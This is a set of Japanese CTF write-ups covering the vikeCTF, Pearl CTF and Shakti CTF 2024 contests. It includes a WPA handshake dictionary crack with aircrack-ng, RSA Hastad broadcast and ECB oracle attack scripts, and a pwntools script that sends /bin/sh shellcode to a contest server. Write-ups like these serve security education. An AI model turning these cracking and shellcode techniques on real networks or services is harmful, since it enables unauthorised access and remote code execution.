IDEwMyA3NyAxMDYgNjUgMTAzIDc4IDUwIDc3IDEwMyA3OCA2OCAxMDcgMTAzIDc3IDEyMiA4NSAxMDMgNzggNzEgODUgMTAzIDc4IDY4IDgxIDEwMyA3OCA2OCA3NyAxMDMgNzggODQgODEgMTAzIDc3IDEyMiA3MyAxMDMgNzcgMTIyIDk5IDEwMyA3OCA3MSA3MyAxMDMgNzcgMTIyIDg1IDEwMyA3OCA3MSA4NSAxMDMgNzggNjggODEgMTAzIDc4IDY4IDY5IDEwMyA3OCA4NCA3NyAxMDMgNzggNzEgNjkgMTAzIDc4IDg0IDczIDEwMyA3OCA1MCA3NyAxMDMgNzcgNzEgNjkgMTAzIDc3IDEyMiA2NSAxMDMgNzcgMTIyIDY1IDEwMyA3NyAxMjIgNjUgMTAzIDc3IDEyMiA2NSAxMDMgNzcgMTIyIDY1IDEwMyA3NyAxMjIgNjUgMTAzIDc3IDEyMiA3NyAxMDMgNzcgMTIyIDY1IDEwMyA3NyAxMDYgNjUgMTAzIDc3IDEwNiA2NSAxMDMgNzcgMTIyIDgxIDEwMyA3NyAxMjIgOTkgMTAzIDc3IDEwNiA2NSAxMDMgNzcgMTIyIDgxIDEwMyA3OCAxMDYgODUgMTAzIDc3IDEwNiA2NSAxMDMgNzcgMTIyIDgxIDEwMyA3NyAxMjIgMTA3IDEwMyA3NyAxMDYgNjUgMTAzIDc3IDEyMiA4MSAxMDMgNzcgMTIyIDgxIDEwMyA3NyAxMDYgNjUgMTAzIDc3IDEyMiA4MSAxMDMgNzggMTA2IDgxIDEwMyA3NyAxMDYgNjUgMTAzIDc3IDEyMiA4MSAxMDMgNzggMTA2IDgxIDEwMyA3NyAxMDYgNjUgMTAzIDc3IDEyMiA3NyAxMDMgNzcgMTIyIDc3IDEwMyA3NyAxMDYgNjUgMTAzIDc3IDEyMiA3NyAxMDMgNzcgMTIyIDg1IDEwMyA3NyAxMDYgNjUgMTAzIDc3IDEwNiA2NSAxMDMgNzcgMTA2IDY1IDEwMyA3NyAxMDYgNjUgMTAzIDc3IDEwNiA2NSAxMDMgNzcgMTA2IDY1IDEwMyA3NyAxMDYgNjUgMTAzIDc3IDEwNiA2NSAxMDMgNzcgMTA2IDY1IDEwMyA3NyAxMDYgNjUgMTAzIDc3IDEwNiA2NSAxMDMgNzcgMTA2IDY1IDEwMyA3NyAxMDYgNjUgMTAzIDc3IDEwNiA2NSAxMDMgNzcgMTA2IDY1IDEwMyA3NyAxMDYgNjUgMTAzIDc3IDEwNiA2NSAxMDMgNzcgMTA2IDY1IDEwMyA3NyAxMDYgNjUgMTAzIDc3IDEwNiA2NSAxMDMgNzcgMTA2IDY1IDEwMyA3NyAxMDYgNjUgMTAzIDc3IDEwNiA2NSAxMDMgNzcgMTA2IDY1IDEwMyA3NyAxMDYgNjUgMTAzIDc3IDEwNiA2NSAxMDMgNzggNTAgNzcgMTAzIDc4IDY4IDk5IDEwMyA3OCA3MSA4NSAxMDMgNzggNjggMTA3IDEwMyA3OCA2OCA4MSAxMDMgNzggNzEgODEgMTAzIDc4IDcxIDgxIDEwMyA3NyAxMjIgNzcgMTAzIDc3IDEyMiA4NSAxMDMgNzggNTAgNzcgNjE=
77 122 65 103 77 122 65 103 77 122 65 103 77 122 65 103 77 122 65 103 77 122 65 103 77 122 65 103 77 122 65 103 77 106 65 103 77 106 65 103 77 122 81 103 78 106 85 103 77 106 65 103 77 122 81 103 77 122 73 103 77 106 65 103 77 122 77 103 77 122 73 103 77 106 65 103 77 122 85 103 77 122 103 103 77 106 65 103 77 122 81 103 78 106 89 103 77 106 65 103 77 122 77 103 77 122 81 103 77 106 65 103 77 122 81 103 78 106 73 103 77 106 65 103 77 122 85 103 77 122 65 103 77 106 65 103 77 122 81 103 77 122 107 103 77 106 65 103 77 122 85 103 78 106 69 103 77 106 65 103 77 122 81 103 78 106 69 103 77 106 65 103 77 122 81 103 77 122 103 103 77 106 65 103 77 122 85 103 77 122 99 103 77 106 65 103 77 122 85 103 78 106 69 103 77 106 65 103 77 122 81 103 77 122 73 103 77 106 65 103 77 122 85 103 77 122 85 103 77 106 65 103 77 106 65 103 78 50 77 103 78 71 85 103 78 68 73 103 77 122 73 103 78 84 103 103 78 71 89 103 77 122 81 103 78 71 73 103 78 84 65 103 78 68 107 103 78 87 69 103 78 71 69 103 78 68 103 103 78 84 99 103 78 87 69 103 78 68 73 103 78 84 85 103 78 50 77 103 77 71 69 103 77 122 65 103 77 122 65 103 77 122 65 103 77 122 65 103 77 122 65 103 77 122 65 103 77 122 69 103 77 122 65 103 77 106 65 103 77 106 65 103 77 122 81 103 77 122 99 103 77 106 65 103 77 122 81 103 77 122 89 103 77 106 65 103 77 122 81 103 77 122 107 103 77 106 65 103 77 122 81 103 77 122 81 103 77 106 65 103 77 122 81 103 77 122 99 103 77 106 65 103 77 122 85 103 78 106 69 103 77 106 65 103 77 122 81 103 77 122 73 103 77 106 65 103 77 122 85 103 77 122 89 103 77 106 65 103 77 122 81 103 78 106 77 103 77 106 65 103 77 122 77 103 77 122 81 103 77 106 65 103 77 122 85 103 77 122 107 103 77 106 65 103 77 122 81 103 77 122 89 103 77 106 65 103 77 122 81 103 77 122 85 103 77 106 65 103 77 122 85 103 77 122 103 103 77 106 65 103 77 122 77 103 77 122 77 103 77 106 65 103 77 122 81 103 77 122 85 103 77 106 65 103 77 106 65 103 78 50 77 103 78 68 99 103 78 68 89 103 78 68 107 103 78 68 81 103 78 68 99 103 78 87 69 103 78 68 73 103 78 84 89 103 78 71 77 103 77 122 81 103 78 84 107 103 78 68 89 103 78 68 85 103 78 84 103 103 77 122 77 103 78 68 85 103 78 50 77 103 77 71 69 103 77 122 65 103 77 122 65 103 77 122 65 103 77 122 65 103 77 122 65 103 77 122 65 103 77 122 73 103 77 122 65 103 77 106 65 103 77 106 65 103 77 122 81 103 77 122 107 103 77 106 65 103 77 122 77 103 77 122 85 103 77 106 65 103 77 122 81 103 78 106 85 103 77 106 65 103 77 122 81 103 77 122 81 103 77 106 65 103 77 122 81 103 77 122 77 103 77 106 65 103 77 122 85 103 77 122 81 103 77 106 65 103 77 122 77 103 77 122 73 103 77 106 65 103 77 122 77 103 77 122 99 103 77 106 65 103 77 122 81 103 78 106 73 103 77 106 65 103 77 122 77 103 77 122 85 103 77 106 65 103 77 122 81 103 78 106 85 103 77 106 65 103 77 122 81 103 77 122 81 103 77 106 65 103 77 122 81 103 77 122 69 103 77 106 65 103 77 122 85 103 77 122 77 103 77 106 65 103 77 122 81 103 78 106 69 103 77 106 65 103 77 122 85 103 77 122 73 103 77 106 65 103 77 106 65 103 78 50 77 103 78 68 107 103 77 122 85 103 78 71 85 103 78 68 81 103 78 68 77 103 78 84 81 103 77 122 73 103 77 122 99 103 78 71 73 103 77 122 85 103 78 71 85 103 78 68 81 103 78 68 69 103 78 84 77 103 78 71 69 103 78 84 73 103 78 50 77 103 77 71 69 103 77 122 65 103 77 122 65 103 77 122 65 103 77 122 65 103 77 122 65 103 77 122 65 103 77 122 77 103 77 122 65 103 77 106 65 103 77 106 65 103 77 122 81 103 77 122 99 103 77 106 65 103 77 122 81 103 78 106 85 103 77 106 65 103 77 122 81 103 77 122 107 103 77 106 65 103 77 122 81 103 77 122 81 103 77 106 65 103 77 122 81 103 78 106 81 103 77 106 65 103 77 122 81 103 78 106 81 103 77 106 65 103 77 122 77 103 77 122 77 103 77 106 65 103 77 122 77 103 77 122 85 103 77 106 65 103 77 106 65 103 77 106 65 103 77 106 65 103 77 106 65 103 77 106 65 103 77 106 65 103 77 106 65 103 77 106 65 103 77 106 65 103 77 106 65 103 77 106 65 103 77 106 65 103 77 106 65 103 77 106 65 103 77 106 65 103 77 106 65 103 77 106 65 103 77 106 65 103 77 106 65 103 77 106 65 103 77 106 65 103 77 106 65 103 77 106 65 103 77 106 65 103 77 106 65 103 78 50 77 103 78 68 99 103 78 71 85 103 78 68 107 103 78 68 81 103 78 71 81 103 78 71 81 103 77 122 77 103 77 122 85 103 78 50 77 61
MzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMjAgMjAgMzQgNjUgMjAgMzQgMzIgMjAgMzMgMzIgMjAgMzUgMzggMjAgMzQgNjYgMjAgMzMgMzQgMjAgMzQgNjIgMjAgMzUgMzAgMjAgMzQgMzkgMjAgMzUgNjEgMjAgMzQgNjEgMjAgMzQgMzggMjAgMzUgMzcgMjAgMzUgNjEgMjAgMzQgMzIgMjAgMzUgMzUgMjAgMjAgN2MgNGUgNDIgMzIgNTggNGYgMzQgNGIgNTAgNDkgNWEgNGEgNDggNTcgNWEgNDIgNTUgN2MgMGEgMzAgMzAgMzAgMzAgMzAgMzAgMzEgMzAgMjAgMjAgMzQgMzcgMjAgMzQgMzYgMjAgMzQgMzkgMjAgMzQgMzQgMjAgMzQgMzcgMjAgMzUgNjEgMjAgMzQgMzIgMjAgMzUgMzYgMjAgMzQgNjMgMjAgMzMgMzQgMjAgMzUgMzkgMjAgMzQgMzYgMjAgMzQgMzUgMjAgMzUgMzggMjAgMzMgMzMgMjAgMzQgMzUgMjAgMjAgN2MgNDcgNDYgNDkgNDQgNDcgNWEgNDIgNTYgNGMgMzQgNTkgNDYgNDUgNTggMzMgNDUgN2MgMGEgMzAgMzAgMzAgMzAgMzAgMzAgMzIgMzAgMjAgMjAgMzQgMzkgMjAgMzMgMzUgMjAgMzQgNjUgMjAgMzQgMzQgMjAgMzQgMzMgMjAgMzUgMzQgMjAgMzMgMzIgMjAgMzMgMzcgMjAgMzQgNjIgMjAgMzMgMzUgMjAgMzQgNjUgMjAgMzQgMzQgMjAgMzQgMzEgMjAgMzUgMzMgMjAgMzQgNjEgMjAgMzUgMzIgMjAgMjAgN2MgNDkgMzUgNGUgNDQgNDMgNTQgMzIgMzcgNGIgMzUgNGUgNDQgNDEgNTMgNGEgNTIgN2MgMGEgMzAgMzAgMzAgMzAgMzAgMzAgMzMgMzAgMjAgMjAgMzQgMzcgMjAgMzQgNjUgMjAgMzQgMzkgMjAgMzQgMzQgMjAgMzQgNjQgMjAgMzQgNjQgMjAgMzMgMzMgMjAgMzMgMzUgMjAgMjAgMjAgMjAgMjAgMjAgMjAgMjAgMjAgMjAgMjAgMjAgMjAgMjAgMjAgMjAgMjAgMjAgMjAgMjAgMjAgMjAgMjAgMjAgMjAgMjAgN2MgNDcgNGUgNDkgNDQgNGQgNGQgMzMgMzUgN2M=
30 30 30 30 30 30 30 30 20 20 34 65 20 34 32 20 33 32 20 35 38 20 34 66 20 33 34 20 34 62 20 35 30 20 34 39 20 35 61 20 34 61 20 34 38 20 35 37 20 35 61 20 34 32 20 35 35 20 20 7c 4e 42 32 58 4f 34 4b 50 49 5a 4a 48 57 5a 42 55 7c 0a 30 30 30 30 30 30 31 30 20 20 34 37 20 34 36 20 34 39 20 34 34 20 34 37 20 35 61 20 34 32 20 35 36 20 34 63 20 33 34 20 35 39 20 34 36 20 34 35 20 35 38 20 33 33 20 34 35 20 20 7c 47 46 49 44 47 5a 42 56 4c 34 59 46 45 58 33 45 7c 0a 30 30 30 30 30 30 32 30 20 20 34 39 20 33 35 20 34 65 20 34 34 20 34 33 20 35 34 20 33 32 20 33 37 20 34 62 20 33 35 20 34 65 20 34 34 20 34 31 20 35 33 20 34 61 20 35 32 20 20 7c 49 35 4e 44 43 54 32 37 4b 35 4e 44 41 53 4a 52 7c 0a 30 30 30 30 30 30 33 30 20 20 34 37 20 34 65 20 34 39 20 34 34 20 34 64 20 34 64 20 33 33 20 33 35 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7c 47 4e 49 44 4d 4d 33 35 7c
00000000  4e 42 32 58 4f 34 4b 50 49 5a 4a 48 57 5a 42 55  |NB2XO4KPIZJHWZBU|
00000010  47 46 49 44 47 5a 42 56 4c 34 59 46 45 58 33 45  |GFIDGZBVL4YFEX3E|
00000020  49 35 4e 44 43 54 32 37 4b 35 4e 44 41 53 4a 52  |I5NDCT27K5NDASJR|
00000030  47 4e 49 44 4d 4d 33 35                          |GNIDMM35|
huwqOFR{d41P3d5_0R_dGZ1O_WZ0I13P63}
vikeCTF{r41D3r5_0F_rUN1C_KN0W13D63}
vikeCTF{r41D3r5_0F_rUN1C_KN0W13D63}

Deep Cover (CRYPTOGRAPHY)

quipqiupで復号する。

** Weather Report: Moscow **

Source: REDACTED

------------------------

Sunday: Periods of snow ending before morning then cloudy with 30 percent chance of flurries. Amount 2 to 4 cm. Wind up to 15 km/h. Low minus 9. Wind chill near minus 14.

Monday: Cloudy with 30 percent chance of flurries early in the morning. Clearing in the morning. Wind up to 15 km/h. High minus 5. Wind chill minus 14 in the morning and minus 9 in the afternoon.

Tuesday: Sunny. High plus 2.

Wednesday: Sunny. High plus 4.

Thursday: A few clouds. Wind becoming south 30 km/h after midnight. Low minus 18. Wind chill minus 19 this evening and minus 30 overnight. Risk of frostbite.

Friday: Cloudy. 60 percent chance of light snow in the afternoon. Wind south 40 km/h gusting to 60. High minus 7. Wind chill minus 26 in the morning and minus 18 in the afternoon.

Saturday: Heavy snow beginning in the morning. Amount 40 to 45 cm. Wind northeast 30 km/h vikeCTF{6u5ting_7o_50_KM_p3r_h0ur}. Temperature rising to minus 10 by evening. Wind chill near minus 21.

この文の中にフラグが含まれていた。

vikeCTF{6u5ting_7o_50_KM_p3r_h0ur}

Pearl CTF Writeup

この大会は2024/3/8 21:00(JST)~2024/3/10 9:00(JST)に開催されました。
今回もチームで参戦。結果は2729点で601チーム中34位でした。
自分で解けた問題をWriteupとして書いておきます。

input-validator (Reversing)

classファイルをjadx-guiデコンパイルする。

package defpackage;

import java.util.Scanner;

/* renamed from: input_validator  reason: default package */
/* loaded from: input_validator.class */
public class input_validator {
    private static final int FLAG_LEN = 34;

    private static boolean validate(String str, String str2) {
        int[] iArr = new int[FLAG_LEN];
        int[] iArr2 = {1102, 1067, 1032, 1562, 1612, 1257, 1562, 1067, 1012, 902, 882, 1397, 1472, 1312, 1442, 1582, 1067, 1263, 1363, 1413, 1379, 1311, 1187, 1285, 1217, 1313, 1297, 1431, 1137, 1273, 1161, 1339, 1267, 1427};
        for (int i = 0; i < FLAG_LEN; i++) {
            iArr[i] = str.charAt(i) ^ str2.charAt(i);
        }
        for (int i2 = 0; i2 < FLAG_LEN; i2++) {
            iArr[i2] = iArr[i2] - str2.charAt(33 - i2);
        }
        int[] iArr3 = new int[FLAG_LEN];
        for (int i3 = 0; i3 < 17; i3++) {
            iArr3[i3] = iArr[1 + (i3 * 2)] * 5;
            iArr3[i3 + 17] = iArr[i3 * 2] * 2;
        }
        for (int i4 = 0; i4 < FLAG_LEN; i4++) {
            int i5 = i4;
            iArr3[i5] = iArr3[i5] + 1337;
        }
        for (int i6 = 0; i6 < FLAG_LEN; i6++) {
            if (iArr3[i6] != iArr2[i6]) {
                return false;
            }
        }
        return true;
    }

    public static void main(String[] strArr) {
        Scanner scanner = new Scanner(System.in);
        System.out.print("Enter input: ");
        String nextLine = scanner.nextLine();
        if (nextLine.length() == FLAG_LEN) {
            if (validate(new String(nextLine), "oF/M5BK_U<rqxCf8zWCPC(RK,/B'v3uARD")) {
                System.out.println("Correct");
                return;
            } else {
                System.out.println("Wrong");
                return;
            }
        }
        System.out.println("Input length does not match!");
    }
}

iArr2から逆算する。

#!/usr/bin/env python3
iArr2 = [1102, 1067, 1032, 1562, 1612, 1257, 1562, 1067, 1012, 902, 882, 1397,
    1472, 1312, 1442, 1582, 1067, 1263, 1363, 1413, 1379, 1311, 1187, 1285,
    1217, 1313, 1297, 1431, 1137, 1273, 1161, 1339, 1267, 1427]

iArr3 = [i - 1337 for i in iArr2]

iArr = [0] * 34
for i in range(17):
    iArr[1 + (i * 2)] = iArr3[i] // 5
    iArr[i * 2] = iArr3[i + 17] // 2

str2 = "oF/M5BK_U<rqxCf8zWCPC(RK,/B'v3uARD"

for i in range(34):
    iArr[i] = iArr[i] + ord(str2[33 - i])

flag = ''
for i in range(34):
    flag += chr(iArr[i] ^ ord(str2[i]))
print(flag)
pearl{w0w_r3v3r51ng_15_50_Ea5y_!!}

pcap-busterz-1 (Forensics)

TCP Streamを見てみると、以下のようになっている。

x=38, y=56, color=white
x=73, y=33, color=white
x=94, y=49, color=white
x=12, y=82, color=black
x=90, y=25, color=black
x=55, y=46, color=white
x=98, y=17, color=white
        :
        :

QRコードになりそうなので、このデータをエクスポートして、座標の位置に黒か白か該当する色で画像にしてみる。

#!/usr/bin/env python3
from PIL import Image

with open('tcp_stream.txt', 'r') as f:
    lines = f.read().splitlines()

img = Image.new('RGB', (100, 100), (255, 255, 255))

for line in lines:
    data = line.split(', ')
    x = int(data[0][2:])
    y = int(data[1][2:])
    color = data[2][6:]
    if color == 'black':
        img.putpixel((x, y), (0, 0, 0))

img.save('qr.png')


QRコードをデコードすると、フラグになった。

pearl{QR_rev0lution1ses_mod3rn_data_handl1ng}

WiFi broken (Forensics)

Wi-Fiのパスワードを答える問題。

$ aircrack-ng -w /usr/share/wordlists/rockyou.txt findme.cap 
Reading packets, please wait...
Opening findme.cap
Resetting EAPOL Handshake decoder state.
Inter-frame timeout period exceeded.
Inter-frame timeout period exceeded.
Inter-frame timeout period exceeded.
Inter-frame timeout period exceeded.
Inter-frame timeout period exceeded.
Inter-frame timeout period exceeded.
Inter-frame timeout period exceeded.
Inter-frame timeout period exceeded.
Inter-frame timeout period exceeded.
Inter-frame timeout period exceeded.
Inter-frame timeout period exceeded.
Inter-frame timeout period exceeded.
Inter-frame timeout period exceeded.
Inter-frame timeout period exceeded.
Inter-frame timeout period exceeded.
Inter-frame timeout period exceeded.
Inter-frame timeout period exceeded.
Inter-frame timeout period exceeded.
Inter-frame timeout period exceeded.
Inter-frame timeout period exceeded.
Inter-frame timeout period exceeded.
Inter-frame timeout period exceeded.
Inter-frame timeout period exceeded.
Inter-frame timeout period exceeded.
Resetting EAPOL Handshake decoder state.
Read 30613 packets.

   #  BSSID              ESSID                     Encryption

   1  1A:C7:E2:EC:22:DA  shenoy_harry              WPA (1 handshake)

Choosing first network as target.

Reading packets, please wait...
Opening findme.cap
Resetting EAPOL Handshake decoder state.
Inter-frame timeout period exceeded.
Inter-frame timeout period exceeded.
Inter-frame timeout period exceeded.
Inter-frame timeout period exceeded.
Inter-frame timeout period exceeded.
Inter-frame timeout period exceeded.
Inter-frame timeout period exceeded.
Inter-frame timeout period exceeded.
Inter-frame timeout period exceeded.
Inter-frame timeout period exceeded.
Inter-frame timeout period exceeded.
Inter-frame timeout period exceeded.
Inter-frame timeout period exceeded.
Inter-frame timeout period exceeded.
Inter-frame timeout period exceeded.
Inter-frame timeout period exceeded.
Inter-frame timeout period exceeded.
Inter-frame timeout period exceeded.
Inter-frame timeout period exceeded.
Inter-frame timeout period exceeded.
Inter-frame timeout period exceeded.
Inter-frame timeout period exceeded.
Inter-frame timeout period exceeded.
Inter-frame timeout period exceeded.
Resetting EAPOL Handshake decoder state.
Read 30613 packets.

1 potential targets


                               Aircrack-ng 1.7 

      [00:11:40] 3822615/14344392 keys tested (5534.76 k/s) 

      Time left: 31 minutes, 41 seconds                         26.65%

                           KEY FOUND! [ shenoydx ]


      Master Key     : 65 BB E2 8B 45 5B B1 BE 5D 96 78 82 14 CC 4B A1 
                       1A 15 BC 85 B0 BA 31 A7 9C 83 9E 9D 47 D2 3E 32 

      Transient Key  : 9D D4 35 8B A2 DC 7D 85 AB DF 04 77 F8 B9 7B 8F 
                       FE 44 CC 98 6C 9C 83 98 80 D5 EC 72 98 A7 FC D7 
                       23 9B 87 C8 CD BF CF 62 5A 97 41 DB 4B 8C AE 62 
                       C2 B0 1F D4 D8 57 DF 80 08 50 9C 98 9D 5A 2F 8F 

      EAPOL HMAC     : 00 65 7D DC 8B 14 31 78 37 A8 10 86 BC 5B 70 08 
pearl{shenoydx}

3 spies (Crypto)

RSA暗号でeは3、異なるnで暗号化されているものが3つある。Hastad's Broadcast Attackで復号する。

#!/usr/bin/env python3
from Crypto.Util.number import *
from sympy.ntheory.modular import crt
from gmpy2 import iroot

with open('encrypted-messages.txt', 'r') as f:
    params = f.read().splitlines()

ns = []
cs = []
for i in range(3):
    n = int(params[i*4].split(': ')[1])
    e = int(params[i*4+1].split(': ')[1])
    c = int(params[i*4+2].split(': ')[1])
    ns.append(n)
    cs.append(c)
    assert e == 3

me, _ = crt(ns, cs)
m, success = iroot(me, e)
assert success
flag = long_to_bytes(m).decode()
print(flag)

復号結果は以下の通り。

This is your destination: "https://pastes.io/1yjswxlvl2"

https://pastes.io/1yjswxlvl2にアクセスすると、JPEGデータらしきもののbase64文字列が見つかる。paste_data.txtにその内容を保存し、デコードしてJPEGとして保存する。

#!/usr/bin/env python3
from base64 import *

with open('paste_data.txt', 'r') as f:
    data = f.read().splitlines()[1]

with open('flag.jpg', 'wb') as f:
    f.write(b64decode(data))


base64デコードしたJPEG画像データにフラグが書いてあった。

pearl{g00d_j0b_bu7_7h15_15_4_b4by_0n3}

Security++ (Crypto)

奇数ブロックと偶数ブロックで鍵が異なるブロック暗号であるが、1文字ずつはみ出させながらフラグを割り出すことができる。

$ nc dyn.ctf.pearlctf.in 30015

Enter plaintext: a
bbUbmwzdnlfHaJFmoQH+YEr39/kP/1FPlhdE3pFmw+UpiOlXBKYarsz0ajS1c48w

Enter plaintext: aa
6P9PUomGlQnjgYzzd5SlEMXQUcazc10V5NWiRoi/vVeMVNaDzulNDQkLp3eWqaXF

Enter plaintext: aaa
8ERCLdnYRHZLAqRc9xPWCDkuKmZyzdcX1vGSZriMF43DE1lxA/5q6iT0lyoglr3e

Enter plaintext: aaaa
U647U9Ym4KTGMPc6YXDFCcdtc7PO8pOICYNEx8TaomQHkdR950+sKFoUrLJNiomU

Enter plaintext: aaaaa
yFUb7bkWXF3m0NEhCTj8csRJjdytUuwqsC3xI7aais2uNM7sWcnb2x0+QBxp+e46

Enter plaintext: aaaaaa
p4Jg8l1ke1FGiVJHtSmHfKR2RWKDzd4mYA9kevVpin5rCSVq+2Mw42AUnONqhzYB

Enter plaintext: aaaaaaa
+tBLra1ihl1VNrdxhZ6JuGa518DeW+5lfsgAya+t3bUw2LGQTPzAl7UdR1Ou3vF3

Enter plaintext: aaaaaaaa
hx8gyerKjBifhdwbye7a6jqmlesAXeXrll7AhGL42Y+VTM2bBwYM/8pQ+Nt9zrl5

Enter plaintext: aaaaaaaaa
2K1s69xF2nT758Ybb0NJ3GlOe9GH5ZCUTDjpb79xRygEG1gbnANZs2/tx4TAQiyy

Enter plaintext: aaaaaaaaaa
+Y/R7MlmKX/QmiBw8IgojjEjG0o5y73kI5mBA4ovKBRDYHnEEcqaQ/SVHIppmDFZ

Enter plaintext: aaaaaaaaaaa
j0yD6oWIzF31ZitRad0+fAUD/C7PAxzRFNFQOfXbrDV7K6mwLMTfj1sWAuAqCXWm

Enter plaintext: aaaaaaaaaaaa
05d8wscinze4CF9/VFDSBx6YpDIqkXPl2DGu2y7v73eab//y41PVnv+T/DHg8HT+

Enter plaintext: aaaaaaaaaaaaa
EDg8B9aMsB133AlPp//Hr6O6qO2SdwfCULpbIPIYctHyggcR6oKI1iBGNPBxRHAr

Enter plaintext: aaaaaaaaaaaaaa
S0zoMgUA1j6uA50qbNUnV8IrnKp13L543qTiWbPG526gdkuADjFykjxXtqU8MMqi

Enter plaintext: aaaaaaaaaaaaaaa
2MuxuSRrdbWU/+zuxp0zKicq7QBvcqi/iG5iuT15ur8J3Ze/oJKiwhQtHtwZX9cz

Enter plaintext: aaaaaaaaaaaaaaaa
0QzSbdnkOH1wvKHl55drc7l5hqdodjwWDK6SukcxSU5dwPAy5DPzJHqruBG/SvTi

Enter plaintext: aaaaaaaaaaaaaaaaa
0QzSbdnkOH1wvKHl55drcy7m1KXkejN5nSH4CHu2ivS/3xC8Ey6cWf50AbW/URurnrM5ONsJiSVErKhfCL39tQ==

以下のような平文の暗号化イメージになり、フラグの長さは32バイトであることがわかる。

0123456789abcdef
aaaaaaaaaaaaaaaa
FFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFF
0123456789abcdef
aaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaX
aaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaF
FFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFF.

このような形で第2ブロックと第4ブロックを比較していき、同じ暗号になる文字を探す。

#!/usr/bin/env python3
import socket
from base64 import *

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('dyn.ctf.pearlctf.in', 30015))

flag = ''
for i in range(32):
    for code in range(32, 127):
        pt = 'a' * (31 - i) + flag + chr(code) + 'a' * (31 - i)
        data = recvuntil(s, b': ')
        print(data + pt)
        s.sendall(pt.encode() + b'\n')
        data = recvuntil(s, b'\n').rstrip()
        print(data)
        ct = b64decode(data)
        data = recvuntil(s, b'\n').rstrip()
        print(data)
        if ct[16:32] == ct[48:64]:
            flag += chr(code)
            break

print(flag)

実行結果は以下の通り。

Enter plaintext: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
0QzSbdnkOH1wvKHl55drc7L2wHkPmsJYgPtMTF6gYwTRDNJt2eQ4fXC8oeXnl2tzPr4qUx5Ew+dcTFIDpNXpwfI+1UUeDMIcfYqVvHEGl82JdLiSuHJ2ijIvvBDxxlWR

Enter plaintext: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
0QzSbdnkOH1wvKHl55drc523AG6GCjSIiJNMqCCd5p7RDNJt2eQ4fXC8oeXnl2tzPr4qUx5Ew+dcTFIDpNXpwfI+1UUeDMIcfYqVvHEGl82JdLiSuHJ2ijIvvBDxxlWR

Enter plaintext: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
0QzSbdnkOH1wvKHl55drc5eOdAqaVjbJM1lw5S6pnDzRDNJt2eQ4fXC8oeXnl2tzPr4qUx5Ew+dcTFIDpNXpwfI+1UUeDMIcfYqVvHEGl82JdLiSuHJ2ijIvvBDxxlWR

Enter plaintext: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa#aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
0QzSbdnkOH1wvKHl55drc58CopH3CKhXjPK4UedJP5DRDNJt2eQ4fXC8oeXnl2tzPr4qUx5Ew+dcTFIDpNXpwfI+1UUeDMIcfYqVvHEGl82JdLiSuHJ2ijIvvBDxxlWR

Enter plaintext: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa$aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
0QzSbdnkOH1wvKHl55drc2LT+k3qtobqCrHbo3/3Q2PRDNJt2eQ4fXC8oeXnl2tzPr4qUx5Ew+dcTFIDpNXpwfI+1UUeDMIcfYqVvHEGl82JdLiSuHJ2ijIvvBDxxlWR

                :
                :

Enter plaintext: pearl{n0t_sn34ky_A3S_3ncrypt10n{
/XXtfavLXsb1cNtDhA0vmUaHRhbeQWRNbnJWmBJ1Xtj9de19q8texvVw20OEDS+ZwYQoGNKghxZkW89oPEiOJg==

Enter plaintext: pearl{n0t_sn34ky_A3S_3ncrypt10n|
/XXtfavLXsb1cNtDhA0vmeiooNDVB0GMDTZ/YY2fjeL9de19q8texvVw20OEDS+ZwYQoGNKghxZkW89oPEiOJg==

Enter plaintext: pearl{n0t_sn34ky_A3S_3ncrypt10n}
/XXtfavLXsb1cNtDhA0vmcGEKBjSoIcWZFvPaDxIjib9de19q8texvVw20OEDS+ZwYQoGNKghxZkW89oPEiOJg==

pearl{n0t_sn34ky_A3S_3ncrypt10n}
pearl{n0t_sn34ky_A3S_3ncrypt10n}

Shakti CTF 2024 Writeup

この大会は2024/3/8 21:30(JST)~2024/3/9 21:30(JST)に開催されました。
今回もチームで参戦。結果は1900点で496チーム中43位でした。
自分で解けた問題をWriteupとして書いておきます。

Welcome to ShaktiCTF'24 (Miscellaneous, Begginer)

Discordに入り、#announcementsチャネルにshaktiのロゴがあり、クリックすると、詳細情報が表示される。全部は見えないので、カーソルを当てると、フラグが表示された。

shaktictf{HAppy_W0M3n5_DAy}

Ocean_Enigma (OSINT, Begginer)

画像検索すると、以下のページなどが見つかる。

https://www.history.com/news/what-happened-to-the-mary-celeste
https://en.wikipedia.org/wiki/Mary_Celeste

以前に船長と一緒に航海したことのある乗組員はAlbert G. Richardson。
船長の親友の名前はDavid Morehouse。
船長が航海日誌に目撃を記録した島はSanta Maria Island。
元の船の名前はAmazon

shaktictf{Albert_G_Richardson:David_Morehouse:Santa_Maria:Amazon}

blank_shell (Pwn, Begginer)

$ file chall
chall: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=772606a0af6a28364ae0d08ab565b523f9e01153, for GNU/Linux 3.2.0, not stripped

シェルコードを適当に見つけてきて、送り込む。

#!/usr/bin/env python3
from pwn import *

p = remote('65.0.128.220', 30799)

payload = b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05'

p.sendline(payload)
p.interactive()

実行結果は以下の通り。

[+] Opening connection to 65.0.128.220 on port 30799: Done
[*] Switching to interactive mode
$ ls
chall
flag.txt
ynetd
$ cat flag.txt
shaktictf{sh3llc0d1ng_15_4_p13c3_0f_c4k3_9270138712038}
shaktictf{sh3llc0d1ng_15_4_p13c3_0f_c4k3_9270138712038}

